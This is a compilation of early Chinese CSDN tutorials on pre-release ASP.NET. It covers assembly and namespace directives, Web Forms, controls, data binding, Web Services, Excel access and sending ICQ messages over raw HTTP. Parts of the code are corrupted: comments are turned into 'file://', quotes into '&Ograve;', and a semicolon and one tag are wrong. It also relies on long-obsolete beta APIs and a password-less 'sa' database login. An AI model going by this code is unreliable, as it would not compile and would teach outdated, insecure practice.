使用VB.NET建立Message对象
<%@ Assembly Name="System.Messaging.dll" %>
<script runat="server" language="VB">
Dim myDir As System.Messaging.Message = New System.Messaging.Message()
</script>

使用C#建立Message对象
<%@ Assembly Name="System.Messaging.dll" %>
<script runat="server" language="C#">
System.Messaging.Message myDir = new System.Messaging.Message();
</script>

指令@Assembly表示将一个集合引用到当前的页面，从而使得所有在集合当中定义的类、界面、结构可以在当前页面自由的被使用。在我们上面给出的例子当中，我们绑定了System.Messaging.dll这个集合。在这个集合当中包含了System.Messaging这个名称空间，System.Messaging名称空间提供了存取.NET架构消息的功能。我们建立了Message类的一个实例，从而可以利用它存取消息队列当中的消息了。如果我们需要在一个代码绑定的文件中建立Message类，需要这样做：

使用VB.NET在代码绑定文件中建立Message对象
Public Class myPage
Inherits System.Web.UI.Page
Dim myDir As System.Messaging.Message = New System.Messaging.Message()
End Class

使用C#在代码绑定文件中建立Message对象
public class myPage : System.Web.UI.Page {
System.Messaging.Message myDir = new System.Messaging.Message();
}

需要注意的是，如果我们想要编译这个类，我们需要在编译的时候通知编译器我们需要引用System.Messaging.dll以及System.Web.dll这两个文件。假设我们将上面的类保存成为一个文件（mypage.vb或者mypage.cs），之后我们需要这样来编译它：
编译代码绑定的类

vbc mypage.vb /r:System.Messaging.dll /r:System.Web.dll
csc mypage.cs /r:System.Messaging.dll /r:System.Web.dll

传递给编译器的参数“/r:System.Messaging.dll”和“/r:System.Web.dll”同一个在Web Form上使用的指令@Assembly起到的作用是相同的。

什么是集合？

一个集合是一组具有相似功能的逻辑单元的组合。他是基础的，可以自描述的配置单元，具有版本控制，可重用，许可安全控制的属性。它包含那些用来表现所有指定版本需求，安全标示符和其他信息的集合名单。

引入名称空间

我们已经注意到了，无论什么时候我们引用Message对象，我们都需要提供完整的名称空间路径（也叫做完全限定的类名称）。不难想象，时间长之后，这将会带来令人厌烦和不必要的臃肿代码。幸运的是，我们可以在一个页面定义一个名称空间的路径，从而可以节约一些无谓的敲键盘的时间。

使用VB.NET引入一个集合
<%@ Assembly Name="System.Messaging.dll" %>
<%@ Import Namespace="System.Messaging" %>
<script runat="server" language="VB">
Dim myDir As Message = New Message()
</script>

使用C#引入一个集合
<%@ Assembly Name="System.Messaging.dll" %>
<%@ Import Namespace="System.Messaging" %>
<script runat="server" language="C#">
Message myDir = new Message();
</script>

在我们的代码绑定类中则应当这样书写：

使用VB.NET在代码绑定文件中引入一个集合
Imports System.Web.UI
Imports System.Messaging
Public Class myPage
Inherits Page
Dim myDir As Message = New Message()
End Class

使用C#在代码绑定文件中引入一个集合
using System.Web.UI;
using System.Messaging;
public class myPage : Page {
Message myDir = new Message();
}

通过指令@Import（同样可以通过Imports或者using语句），我们可以指定一个名称空间的路径。这样，我们在引用一个类的时候，就不必使用完全限定的名称空间路径了。注意：如果在System.Web.UI和System.Messaging这两个名称空间中都有Message这个类的话，我们就必须使用完全限定的类名称了。

清楚的知道引入的名称空间能做什么和不能做什么是非常重要的。它不仅仅是节约了程序员的敲击键盘的时间，更重要的是带来了程序代码的良好的可读性。需要明白的是，真正正式将名称空间连入到页面的指令是：@Assembly或者使用参数/r进行编译。

通过配置文件自动控制将集合连入到一个web form并不是只有使用@Assembly指令一个方式，集合也可以在一个application当中自动的被引入某个页面。这样的集合不需要指令@Assembly。我们可以在配置文件config.web中使用<assemblies>来自动引入集合。

自动的在配置文件当中引入集合
<configuration>
<compilation>
<assemblies>
<add assembly="System.Messaging"/>
<add assembly="*"/>
</assemblies>
</compilation>
</configuration>

这个星号“*”通知ASP.NET自动引入在“应用程序的私有集合缓冲区”中的每一个集合。通过<add>元素，你可以引入任何的名称空间在application作用域之内。

什么是应用程序的私有集合缓冲区？

.NET的文档中是这样定义应用程序的私有集合缓冲区的：应用程序的私有集合缓冲区被看作是位于应用程序下的子目录\bin以及.NET构架的安装目录。然而通过我的测试，只有\bin目录才被当作应用程序的私有集合缓冲区，也就是说只有这个目录才是星号“*”的作用域。

注意：在<add>元素中的星号“*”仅仅自动连入那些位于应用程序子目录\bin中的集合！
通过查阅.NET架构安装的默认配置文件：config.web。我们可以知道，他自动的引入了如下的集合：

mscorlib
System
System.Data
System.Diagnostics
System.Drawing
System.Net
System.Text.RegularExpressions
System.Web
System.Web.Services
System.Xml
System.Xml.Serialization
Microsoft.Comservices
*

你可以自己看看默认的config.web文件，也好确认一下。下面的名称空间也是自动引入的：

Microsoft.VisualBasic
System
System.Collections
System.Text
System.Text.RegularExpressions
System.Web
System.Web.Caching
System.Web.SessionState
System.Web.Security
System.Web.UI
System.Web.UI.WebControls
System.Web.UI.HtmlControls


csdn_有关ASP.NET的一些基本说明,解释

有关ASP.NET的一些基本说明,解释

页面指示标识 的功能是用来确定在处理aspx文件的时候，需要系统做一些什么特殊的设定？它的语法是：
<%@ directive attribute=value %>比如：
<%import namespace=”System.Data”%>

注意属性之间需要空格，在"="之间不能有空格。

asp.net的web forms 中现在包含以下7种标识

@ Page,@ Control,@ Import,@ Registe,@ Assembly,@ OutputCache

@ Page 标识我们常用的属性是 Language 比如 <%@ Page Language="VB" %>,另外他还可以确定这个页面的 字符集,ResponseEncoding=gb2312
是否允许调试:Trace=True 表示如果抱错，显示错误信息 否则反之
警告是否显示：Warnings=True 表示如果程序中有不合理的地方，虽然只是警告，仍然显示成为错误等等,具体应用可见:ASP.NET 中文显示的两种解决方法

@ Control 并非使用在 aspx 文件中，而是使用在 ascx 文件，也就是 拥护子定义控件的文件中,在一个ascx 文件中只能有一个 @ Control 标识

@ Import 是我们可能最常用的一个标识 ,当我们使用一些特殊的aspx特性的时候，为了告诉编译器我们的目的，我们就需要使用这个标识,常用的标识 我已经在前面的文章中 讲过了,如果 不使用 @import 我们默认就已经可以使用 如下的一些 命名空间(NameSpace)
System
System.Collections
System.IO
System.Web
System.Web.UI
System.Web.UI.HtmlControls
System.Web.UI.WebControls

@ Register 是当我们在 aspx 文件中调用我们的 子定义组件的pagelet 的时候，对 这个pagelet 进行注册的时候使用的，通过这个标识，我们 就可以 在 这个 aspx 文件中使用 我们自己的 NameSpace（连接到文章PAGELET的使用一文）

@ Assembly 指出我们编译aspx 文件的时候需要使用什么额外的编译器，用法如下:
<%@ Assembly src="DocName" %> src 指向的是后缀为 cs 或者 vb 的文件，这将使这些文件中的 CLASS 被包含进当前的页面中

@OutputCache .aspx文件的内容在服务器上保留的时间的长度（连接……）
<%@ OutputCache duration=”1000” %>
这里定义的Cache 存留时间为1000秒

@ Webservice 引用一个WebService 的类。用法如下：
<%@ WebService Language="language" Class="classname" %>
<a href=”http://www.gotdotnet.com/quickstart/aspplus/”>
Web Service Type Marshalling</a>


csdn_在ASP.NET中访问Excel电子表格

在ASP.NET中访问Excel电子表格

在ASP.NET中访问Excel电子表格
by Alex Lowe(From:www.aspfree.com) 翻译：eheart
下面提供在ASP.NET中如何查询Excel电子表格的源代码：
<%@ Page Language="VB" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.ADO" %>

<script language="VB" runat="server">
Sub Page_Load(sender As Object, e As EventArgs)
Dim myDataset As New DataSet()

'当然，你可以通过ODBC来实现
Dim strConn As String="Provider=Microsoft.Jet.OLEDB.4.0;"&"Data Source=C:\exceltest.xls;"& "Extended Properties=’Excel 8.0;’"

'你必须在你指定的电子表格名后加上符号$
Dim myADODataSetCommand As New ADODataSetCommand("SELECT * FROM [Sheet1$]", strConn)
myADODataSetCommand.TableMappings.Add("Table", "ExcelTest")
myADODataSetCommand.FillDataSet(myDataset)

DataGrid1.DataSource = myDataset.Tables(0).DefaultView
DataGrid1.DataBind()
End Sub
</script>
<p>
<asp:Label id=Label1 runat="server">
电子表格内容:</asp:Label>
</p>
<asp:DataGrid id=DataGrid1 runat="server"/>


csdn_细细品味ASP.NET (一)

细细品味ASP.NET (一)

细细品味ASP.NET (一)

概　述

ASP现在被从头到脚地重建了，结果就是ASP.NET。它并不只是ASP 4.0，它是一个用于 Web开发的全新框架，其中包含了许多新的特性。ASP.NET提供了更易于编写、结构更清晰的代码，这些代码很容易进行再利用和共享；ASP.NET使用编译后的语言，从而提升性能和伸缩性；ASP.NET使用Web表单使开发更直观，利用面向对象技术促进组件的再利用。另外，ASP.NET中还包括有页面事件、Web控件、缓冲技术以及服务器控件和对数据捆绑的改进。供 ASP.NET使用的库以及在Microsoft.NET框架中允许通过Web 使用客户商用函数，为程序员提供了更多新的开发机会。

ASP.NET的优势

ASP.NET使代码更加干净。现有的ASP 应用程序中，不管你将它们写得怎么样，结构总是充满了长长短短的代码。而ASP.NET的代码不仅更容易编写，而且更加干净整洁，比ASP代码更易于阅读。同时，ASP.NET代码的结构方式提高了其再利用性和共享性。
ASP.NET 改进了配置、伸缩性、安全性和可靠性。对于简单的ASP应用程序，配置其实并不算什么问题，但是当你移植到一个利用组件的N层结构中时就会遇到问题。当你对这些应用程序进行配置和维护时，DLL 陷阱问题（组件注册、版本、锁定的DLL等等）就会出现。ASP.NET中则取消了组件注册以及DLL锁定，全面使用了XML配置文件，从而解决了这个问题。这样你只需要执行复制文件的工作就能配置一个Web应用程序。
ASP.NET对各种不同的浏览器提供了更好的支持。对于ASP开发人员来说，浏览器兼容问题好象是一个永恒的问题。你或者为低一级的浏览器编写代码，例如用HTML 3.2，或者限制页面的浏览范围。无线应用程序协议WAP设备的引入还会深化这个问题。本文中Web表单这部分描述了ASP.NET是如何解决浏览器兼容性问题的。
ASP.NET 造就了一类新的Web应用程序。目前的Web应用程序通常都是同一种模式：一套线性应用程序，然后将逻辑植入其中之一。ASP.NET允许开发人员打破这种单一模式，创造出更加动态而且伸缩性更强的应用程序，这种应用程序能够更好地满足公司的商业需求，并提供一个更加丰富的开发环境。
到这里你可能会想，虽然这些目标都很高尚，但是它们会使编写应用程序变得困难。然后恰恰相反，用ASP.NET 进行开发要简单得多！
下面我们就来细细品味一下ASP.NET的强大特征，包括：
  ●对编译语言的支持
  ●Web表单
  ●跟随页面对象的页面事件
  ●Web控件
  ●Web Services
  ●缓冲技术
  ●调试和跟踪
  ●代码和内容隔离
  ●名称空间的通用库
  ●配置

使用经过编译的语言

现有的ASP版本是基于脚本语言的，如VBScript和JScript 。脚本语言本身并没有什么错，但是它们有两大缺陷：它们是解释型的，并且分类不严格。ASP.NET并没有完全抛弃脚本语言的概念，它引入了对全编译语言的支持，使你能够用Visual Basic编写自己的服务器端代码，例如：
<script language=“vb” runat=“server”>
Visual Basic的一大优势是其对严格分类变量的支持，因此以下的代码在ASP.NET中是成立的：
Dim FirstName As String
除了Visual Basic和C++，你还可以使用最新的Microsoft语言 C#来编写服务器端代码。C# 将C++ 中不实用的部分都去掉了，它更容易理解。用ASP.NET，编译动作在页面第一次装载时发生。即便代码是脚本语言，它也会在执行前被编译，因此 Jscript代码页面的性能也会得到提高。实际上，这是 .NET 框架的一个基本的新特征。以前版本的语言编译器对数据类型和对象是区别对待的，这就意味着唯一可以进行跨语言开发的就是创建COM对象。Microsoft .NET框架中的通用语言运行时间环境CLR允许对已经用通用运行时间支持编译过的任何代码进行紧密的交互作用，这就是新的Visual Basic和C# 编译器将要做的：创建能在运行时间中被管理的代码。
这样做最大的优点是使得真正的跨语言开发成为可能。有了通用运行时间环境CLR，你可以用C#创建对象，并在 Visual Basic中通过继承功能对它们进行扩展。现在的 Visual Basic .NET支持继承功能，这样你就可以在C# 中编写组件，然后在Visual Basic中将它们设置成子集。虽然 Visual Basic、C#和脚本语言是在开始的框架结构中被支持的语言，但是稍后其它语言，如Smalltalk、Eiffel、Pascal等等，也将会被支持。Microsoft .NET框架的一个优势就是扩展非常得容易，因此使用一种新的语言仅仅需要为运行时间环境兼容的输出提供编译器支持。


csdn_细细品味ASP.NET (二)

细细品味ASP.NET (二)

细细品味ASP.NET (二)

Web表单

ASP.NET Web Forms就是Web页面，同现在你用 ASP编写代码所做的工作是一样的。但是还不仅仅如此，ASP.NET Web Forms是在一个面向对象的编程模型上设计的，这样代码就能够再利用，并且使应用程序代码与页面内容分隔开。在Visual Basic中，你将一个控件拖曳到一个表单上，然后执行其下的事件程序。在传统的 ASP中，这是不可能的，因为在用户界面控件和它们的服务器端代码之间没有链接存在。但是在ASP.NET中，这样的一个链接是存在的。所以，你可以编写下面表1所示的代码，而不用手动从变量表中拖出值：
表1 简单ASP.NET Web Form例程
<html>
<script language=“vb” runat=“server”>
Sub SubmitButton_Click(Source As Object, E As EventArgs)
Response.Write (&Ograve;You entered &Ograve; & Name.text)
End Sub
</script>
<body>
<form method=“post” runat=“server”>
Name: <asp:textbox id=“Name” runat=“server” /><br>
<asp:Button text=“Enter”
OnClick=“SubmitButton_Click” runat=“server” />
</form>
</body>
</html>
在表1中有两点值得注意。第一是在表单上 runat=“server” 属性和 asp:textbox控件的使用，这可以告诉 ASP.NET 服务器和客户都可以使用这些控件。如此使用的控件叫做服务器控件。asp: 用做控件名的前缀，它本身就识别了控件是从哪来的。稍后我将讨论这一点。第二个需要注意的细节是OnClick事件。开发DHTML 代码时，你经常要用到 OnClick事件，这是为了在浏览器中激活一个事件。因为为控件设置了runat=“server” 属性，所以事件只在服务器上被激活。要对这个例子进行扩展，可以去掉 Response.Write，然后用一个基于服务器的控件来代替它，比如下面的表2代码：
表2 使用基于服务器的控件
<html>
<script language=“vb” runat=“server”>
Sub SubmitButton_Click(Source As Object, E As EventArgs)
YouEntered.Text = &Ograve;You entered &Ograve; & txtName.text
End Sub
</script>
<body>
<form method=“post” runat=“server”>
Name: <asp:textbox id=“txtName” runat=“server” /><br>
<asp:Button text=“Enter”
OnClick=“SubmitButton_Click” runat=“server” />
<br>
<asp:label id=“YouEntered” runat=“server”></span>
</form>
</body>
</html>
这个代码运行相当好，很象一个传统的客户或Visual Basic表单，代码也直观多了。你可以用服务器控件来连接事件过程和基于服务器的代码。这些基于服务器的控件向浏览器发送纯 HTML内容，其中不再含有客户端脚本。实际上，这其中一个重要的设计目的就是要坚持使用固有的 HTML 3.2元素代码以提供最大可能的浏览器兼容性。比如说，表2中的代码生成了以下HTML：
<html>
<body>
<FORM name=“HtmlForm2" method=“post” action=“Test.aspx” id=“HtmlForm2">
<INPUT type=“hidden” name=“__VIEWSTATE” value=“a0z664351470__x”>
Name: <input name=“txtName” type=“text” id=“txtName”><br>
<input type=“submit” name=“Button5" value=“Enter”>
<br>
<span id=“lblYouEntered”></span>
</FORM>
</body>
</html>
生成的代码是符合 HTML 3.2标准的。它执行一个标准投递，将用户输入发送回同一个文件。这里没有对服务器状态进行维护，也没有客户端脚本对状态进行维护。隐含的域执行对控件状态的维护，这意味着在页面的“提交－返回”之间，控件能自动恢复状态，而不需要任何编程干预。虽然 ASP.NET Web控件的默认输出是符合HTML 3.2标准的内容，但是对于更高级的浏览器如Microsoft Internet Explorer 5.0，也可以输出为DHTML格式。这样你就能只使用一套服务器控件来编写页面，允许控件根据浏览器决定发送哪种类型的输出，从而允许你将发送 DHTML的控件和客户端脚本用到最新版本的Internet Explorer中，将纯 HTML 3.2内容发送到其它浏览器中。


csdn_细细品味ASP.NET (三)

细细品味ASP.NET (三)

细细品味ASP.NET (三)

页面事件

在此前我提到 ASP.NET已经被从头到脚地重写了，但是我并没有指出它是按照面向对象的思路重建的。在对象树的顶部是Page对象，即页面对象，ASP.NET的每个控件、应用程序和页面都是从这个对象中继承来的，也就是说每个页面都是页面对象的一个例示。页面的Load （装载）事件是一个非常重要的事件，如下面的表3代码所示：
表3 使用页面事件
<html>
<script language=“VB” runat=“server”>
Sub Page_Load(Source As Object, E As EventArgs)
‘ code to run when page loads
End Sub
Sub SubmitButton_Click(Source As Object, E As EventArgs)
‘ code to run when button is clicked
End Sub
Sub Page_Unload(Source As Object, E As EventArgs)
‘ code to run when page unloads
End Sub
</script>
<form runat=“server”>
<asp:Button text=“Enter” OnClick=“SubmitButton_Click” runat=“server” />
<asp:label id=“YouEntered”/>
</form>
</html>
在这里你看到了以前在Visual Basic中经常见到的同样的 Load/Unload （装载/卸载）过程。 当页面被装载时，Load事件被激活，这时所有基于服务器的控件都可用。在与用户的交互作用过程中会生成其它事件。最后，当页面被卸载时激活 Unload事件。


csdn_细细品味ASP.NET (四)

细细品味ASP.NET (四)

细细品味ASP.NET (四)

Web控件

你可能会担心，象 <asp:TextBox>这样的控件代表了一套需要你熟练运用的全新控件。不过，它们并不难学，因为它们在HTML中都有对应者。例如，对于一个很简单的文本框，在HTML 中，你是这样做的：
<input type=“text” value=“Your Name”></input>
而相应的Web 控件是这样的：
<asp:TextBox Text=“Your Name” runat=“server” />
在这两者中，你立刻就能注意到的是Web 控件通过代码“asp:”名称空间来识别，并且同在XML中一样，使用斜线来结束元素。你不是必须使用XML的格式，你也可以使用HTML格式，用一个分号来结束标记：</asp:TextBox>。但是你会发现，XML格式被用在许多代码举例中，并且代码字数也较简洁。名称空间必须要使用，它负责识别文本框TextBox 控件来自哪里。所有的标准Web控件都是 ASP名称空间的一部分。当编写自己的控件时，这一点变得很重要。
TextBox控件相对于标准的输入框好象没有多少优势，但是你应该考虑一下面的三个输入控件：
<input type=“text” ...>
<input type=“password” ...>
<textarea rows=“5" ...>
它们都是用于HTML输入的，但是并没有一致性。但是如果使用下面的，是不是更简单一些呢？
<asp:TextBox runat=“server” ...>
<asp:TextBox TextBoxMode=“Password” ...>
<asp:TextBox Rows=“5" ...>
你可以看到，一个简单控件包含了HTML中三个控件的功能，而且更易记忆、更易编码。
ASP.NET携带了5大类 Web控件：
&#8226; 与HTML相对应的固有控件
&#8226; 在页面上提供数据流的列表控件
&#8226;提供更丰富的UI（用户界面）内容和功能的Rich控件
&#8226; 完成各种表单验证的确认控件
&#8226; 为 WAP设备封装WML的移动控件
固有的服务器控件与 HTML控件相同，但是更加合理了，可提供更为一致的用途。这些控件包括LinkButton（链接按钮）、ImageButton（图象按钮）、HyperLink（超级链接）、TextBox（文本框）、CheckBox（复选框）、RadioButton（单选框）、DropDownList（下拉列表）、ListBox（列表框）、Image（图象）、Label（标签）、Panel（面板）、Table（表格）、TableRow（表格行）、TableCell（表格单元）。
列表控件包括Repeater（转发器）、DataList（数据列表）和DataGrid（数据栅格）。列表控件还包括RadioButtonList（单选框列表）和 CheckBoxList（复选框列表），这样就使创建单选框和复选框的列表变得简单。
Rich控件包括Calendar（日历）和AdRotator（广告旋转）。Calendar控件为低级的浏览器输出纯HTML，为高级浏览器输出DHTML（如 Internet Explorer 5.0）。AdRotator输出图象，它有内置的旋转代码。
确认控件包括RequiredFieldValidator（请求域确认）、 Compare Validator（比较确认）、RangeValidator（范围确认）、RegularExpressionValidator（规范表达确认）、CustomValidator（顾客确认）和ValidationSummary（确认摘要）。这些控件为开发人员在表单处理中建立确认提供了简单的途径。
有关移动控件的信息现在还没有发布，但是可以肯定它们有助于构造激活WAP的Web站点。

编写新的控件

你并不一定只局限于使用这些系统提供的控件，自己编写控件也相当简单。例如，如果想要一个控件来封装两个文本框（可能是名和姓的输入域），就可以这样来编写代码：
<asp:Panel runat=“server”>
<asp:Textbox id=“txtFirstName” text=“First Name” runat=“server” />
<asp:Textbox id=“txtLastName” text=“Last Name” runat=“server” />
</asp:Panel>
可以把这个代码保存在文件 Name.aspc （注意这个新扩展名）中，并将其作为一个Web表单控件来对待。接着，就可以向 Web表单中增加以下内容：
<%@ Register TagName=“NameControl” TagPrefix=“Foo” Src=“Name.aspc” %>
<form>
<foo:NameControl runat=“Server”/>
</form>
这样你就可以很容易地创建可以再利用的控件了。这真实很美好 ;-) 你还可以直接在Visual Basic或 C#中创建控件，允许它们成为其它控件的子类，并且呈现任何它们所要求的输出。因为控件是用名称空间来识别的，因此在控件之间应该是没有冲突的。实际上，控件甚至可以使用同一个名字，只要它们在不同的名称空间中就行。你会感觉到，这使得 ASP.NET非常具有扩展性，并且使编程环境变得越来越丰富。实际上有一个很大的提供丰富控件的第三方市场。

数据捆绑控件

新的Web控件之一是数据栅格DataGrid，这是用于显示成套数据的内置支持控件。为了从SQL生成的数据中产生一个 HTML表格，你只需要创建 ADO+对象，并执行指令来获取数据以作为栅格的数据源，比如下面的表4代码：
表 4 DaveSGrid1.aspx
<%@ Import Namespace=“System.Data.SQL” %>
<html>
<script language=“VB” runat=“server”>
Sub Page_Load(Sender As Object, E As EventArgs)
Dim myCommand As SQLCommand
myCommand = New SQLCommand(&Ograve;select * from products”,
&Ograve;Server=localhost; Database=AdvWorks; UID=sa”)
DataGrid1.DataSource = myCommand.Execute
DataGrid1.DataBind
End Sub
</script>
<body>
<ASP:DataGrid id=“DataGrid1" runat=“server” />
</body>
</html>
所需要做的就是将数据捆绑到数据栅格，然后就生成了一个整洁的HTML表格：

数据捆绑并不局限于来自数据库的数据，你还可以捆绑到hash表格、数组、其它服务器控件、页面的适当层，几乎什么都可以。如果默认的栏目不合适，还可以对其进行定制，让其显示你所感兴趣的部分：
<asp:DataGrid id=“DataGrid1"
AutoGenerateColumns=“false” runat=“server”>
<property name=“Columns”>
<asp:BoundColumn HeaderText=“ Name” DataField=“ProductName”/>
<asp:BoundColumn HeaderText=“Description”
DataField=“ProductDescription”/>
</property>
</asp:DataGrid>
使用 BoundColumn 控件选择一个简单的栏目，并指定栏的标题和这栏要捆绑到哪里。 AutoGenerate=“false” 属性负责确保栅格不会为你创建所有的栏目。如果想更复杂一些，也可以为这个栏目使用一个模板。
此前提到的Repeater和DataList控件也支持模板，这样就允许对控件的外观进行定制。Repeater实际上并没有外观，你必须要提供 UI，这就意味着必须要使用一个模板。相反，DataList控件是一个捆绑到数据的列表，有一个默认的外观和丰富的行为。为这两个控件添加模板的方法是一样的：
<asp:DataList is=“DataList1" runat=“server”>
<template name=“HeaderTemplate”>
Here”s your list of titles<br>
</template>
<template name=“ItemTemplate”>
<%# DataBinder.Eval(Container.DataItem, “Title”) %> <br>
</template>
</asp:DataList>
有了这个模板template，你就可以指定用哪些 HTML控件来组成数据捆绑控件的每一部分。有5个模板的名字可以与 DataList控件一起使用：HeaderTemplate用于控件的最顶端部分，ItemTemplate 用于各个项目，Alternating-Item-Template用于其它项目，SeparatorTemplate用于各个项目之间的区域，FooterTemplate用于控件的底部。
这个系统的好处在于：对于如何显示界面，有大量的控件可以使用。进一步使用产品列表，你就能用表7中的代码来生成下图所示的输出：

表 7 DaveSGrid2.aspx
<asp:DataList id=“MyDataList” RepeatColumns=“2" runat=“server”>
<template name=“itemtemplate”>
<table cellpadding=10 style=“font: 10pt verdana”>
<tr>
<td width=1 bgcolor=“BD8672"/>
<td valign=“top”>
<img align=“top”
src=“<%# DataBinder.Eval(Container.DataItem,“ProductImageURL”) %>“ >
</td>
<td valign=“top”>
<b>Name: </b>
<%# DataBinder.Eval(Container.DataItem,”ProductName”) %><br>
<b>Description: </b>
<%# DataBinder.Eval(Container.DataItem,“ProductDescription”) %><br>
<b>Price: </b>
<%# DataBinder.Eval(Container.DataItem,”ProductPrice”, “$ {0}”) %>
</td>
</tr>
</table>
</template>
</asp:DataList>
这个代码相当简单，除了前面显示的 DataList代码外，不再需要更多的东西。代码里有一点值得注意，就是你可以规定出现的栏数，列表会自动处理栏的包装。这样就只需要一点格式化代码，Web页面就得到了极大的改进，而不再使用以前Web 页面上的传统栅格。


细细品味ASP.NET (五)

开发Web Services（Web服务）

在Internet上作为服务发布的软件是 Web Services的核心。 ASP.NET提供了一个 Web Services的基础构造环境，从而使开发人员能够为这个服务模型创建服务。
现在我们来跟踪一个简单的例子。比如说你要从一个在线书商那里购买书籍，他们有一个跟踪系统，使你能够看到自己定单的状态。书商用一个陆地运输公司来运输你订的货。这个运输公司也有一个跟踪系统。这样，为了得到你的定单的确切状态，你要查看两个站点。如果书商能够将它自己的定单状态和运输公司的状态信息一同显示出来，就会很方便。
Web Services就允许你在Web上将客户商用函数暴露给公众，例如包裹跟踪细节。编写一个对象，将其方法作为URI暴露出来，URI返回一个XML数据。现在书商可以调用运输公司的跟踪服务，并将跟踪的结果合并到它自己的定单跟踪应用程序中。以下是运输公司如何用 C#创建一个服务的代码：
<%@ WebService language=“c#” %>
using System.Web.Services;
public class Shipping {
[WebMethod]
public String OrderStatus(String OrderNumber) {
// code here to retrieve order details from data store
return Status;
}
}
以上代码保存于 Tracking.asmx文件中，位于运输公司 Web站点的应用程序目录中。这样书商就可以使用多种方法来调用这个 Web Services了。比如使用 HTTP-GET，参数同查询字符串一同被传递：
http://orders.ups.com/orders/Tracking.asmx/OrderStatus?OrderNumber=BRU123
书商还可以使用 HTTP-POST，方法的参数作为表单值在post体内传递。或者还可以使用HTTP-SOAP，方法的参数被包裹在一个工业标准 XML格式中。
现在用户只需要在书商那里查询他们的定单细节，书商的 Web 应用程序就会从运输公司那里收集跟踪信息，然后同书的状态一起返回。书商也可以将它的定单状态细节作为一个Web Services暴露出来，让其它人使用它。
Web Services的伟大之处在于，它允许你暴露一个服务而不必暴露数据或所有的商业规则。当自动提供商业服务的同时，代码和数据都是安全的。在以后几年里，随着B2B方案的可利用，Web Services的市场会得到快速的增长。


csdn_ASP.NET发送ICQ消息DIY

ASP.NET发送ICQ消息DIY

ASP.NET发送ICQ消息DIY
  这里我给大家提供一个很实用的例子，就是在线发送ICQ信息。想一想我们在网页上直接给朋友发送ICQ信息，那是多么美妙的事情啊。呵呵，在吹牛啊，其实ICQ本来就有在线发送的代码，不过，这些都是AOL给你写好的代码，多没有意思啊。还是自已写的比较好，呵呵,废话少说，大家来看代码吧

＜% @ Page Language="C#" %＞
＜% @ Assembly Name="System.Net" %＞
＜% @ Import Namespace="System.Net" %＞
＜% @ Import Namespace="System.Net.Sockets" %＞
＜% @ Import Namespace="System.IO" %＞
＜% @ Import Namespace="System.Text" %＞

＜Script Language="C#" Runat="Server"＞
public void Page_Load(Object src,EventArgs e)
{
ICQ_Show.Text="如果提交后，在这里显示信息";
}

public void Send_Click(Object sender,EventArgs e)
{
string sendmsg;
string commandmsg;
file://首先取得要发送的信息
commandmsg = "from="+ICQ_Name.Text+"&fromemail="+ICQ_Email.Text+"&subject=";
commandmsg += ICQ_Subject.Text+"&body="+ICQ_Message.Text+"&to="+ICQ_Number.Text
commandmsg += "&Send=Send+Message";
file://然后就是组装全部的信息
sendmsg="POST /scripts/WWPMsg.dll HTTP/1.1\r\n";
sendmsg += "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,";
sendmsg += " application/vnd.ms-excel,";
sendmsg += " application/msword, application/vnd.ms-powerpoint, */*\r\n";
sendmsg += "Accept-Language: zh-cn\r\n";
sendmsg += "Content-Type: application/x-www-form-urlencoded\r\n";
sendmsg += "Accept-Encoding: gzip, deflate\r\n";
sendmsg += "User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows 95)\r\n";
sendmsg += "Host: wwp.icq.com\r\n";
sendmsg += "Content-Length: " + commandmsg.Length + "\r\n";
sendmsg += "Connection: Keep-Alive\r\n\r\n";
sendmsg += commandmsg + "\r\n\r\n";

Byte[] arrMsg=Encoding.Default.GetBytes(sendmsg.ToCharArray());
file://需要发送的信息处理完毕

file://======下面就是发送这些信息=====
file://首先是建立一个TCPClient 对象
TCPClient tcpc=new TCPClient();
if(0==tcpc.Connect("wwp.icq.com",80))
{
Stream sm = tcpc.GetStream();
sm.Write(arrMsg,0,sendmsg.Length);
StreamReader sr=new StreamReader(tcpc.GetStream(),Encoding.Default);
string strRev=sr.ReadLine();
if(strRev.IndexOf("OK")!=-1)
{
ICQ_Show.Text="ICQ消息发送成功";
}
else
{
ICQ_Show.Text="ICQ消息发送不成功";
}

}
else
{
ICQ_Show.Text="ICQ消息发送不成功，无法联结ICQ服务器";
}
file://关闭TCP联结
tcpc.Close();
}

＜/script＞
＜html＞
＜meta http-equiv="Content-Language" content="zh-cn"＞
＜head＞
＜title＞＜/title＞
＜/head＞
＜body＞
＜form runat="server" ＞
＜table＞
＜tr＞＜td align=center colspan=2＞
＜asp:Label id="ICQ_Show" runat="server" ForeColor="red" /＞＜/td＞＜/tr＞
＜tr＞＜td＞＜br＞＜/tr＞
＜tr＞＜td align=center colspan=2＞发送ICQ信息＜/td＞＜/tr＞
＜tr＞＜td＞您的ICQ号:＜/td＞＜td＞＜asp:TextBox id="ICQ_Number" runat="server" /＞＜/td＞＜/tr＞
＜tr＞＜td＞您的网名:＜/td＞＜td＞＜asp:TextBox id="ICQ_Name" runat="server" /＞＜/td＞＜/tr＞
＜tr＞＜td＞您的Email:＜/td＞＜td＞＜asp:TextBox id="ICQ_Email" runat="server" /＞＜/td＞＜/tr＞
＜tr＞＜td＞发送主题:＜/td＞＜td＞＜asp:TextBox id="ICQ_Subject" runat="server" /＞＜/td＞＜/tr＞
＜tr＞＜td＞发送内容:＜/td＞＜td＞＜asp:TextBox id="ICQ_Message" runat="server" /＞＜/td＞＜/tr＞
＜tr＞＜td＞＜asp:Button OnClick="Send_Click" Text="发送ICQ信息" RunAt="server" /＞＜/td＞＜/tr＞
＜/table＞
＜/form＞

＜/body＞
＜/html＞

    开始显示是这个样子:

        如果提交后，在这里显示信息

            发送ICQ信息
您的ICQ号:
您的网名:
您的Email:
发送主题:
发送内容:

按下"发送ICQ信息"键后的显示是：

        ICQ消息发送成功

            发送ICQ信息
    您的ICQ号:
    您的网名:
    您的Email:
    发送主题:
    发送内容:

    相信大家能看懂上面的程序，我已经加了注释，应当没有问题吧。呵呵。其实这个程序也不过是在走AOL在线代码的老路，只是写了个程序模拟了POST方法。不过这个已经足够了，我们写程序时也就不必为那个POST如表示来烦人了。

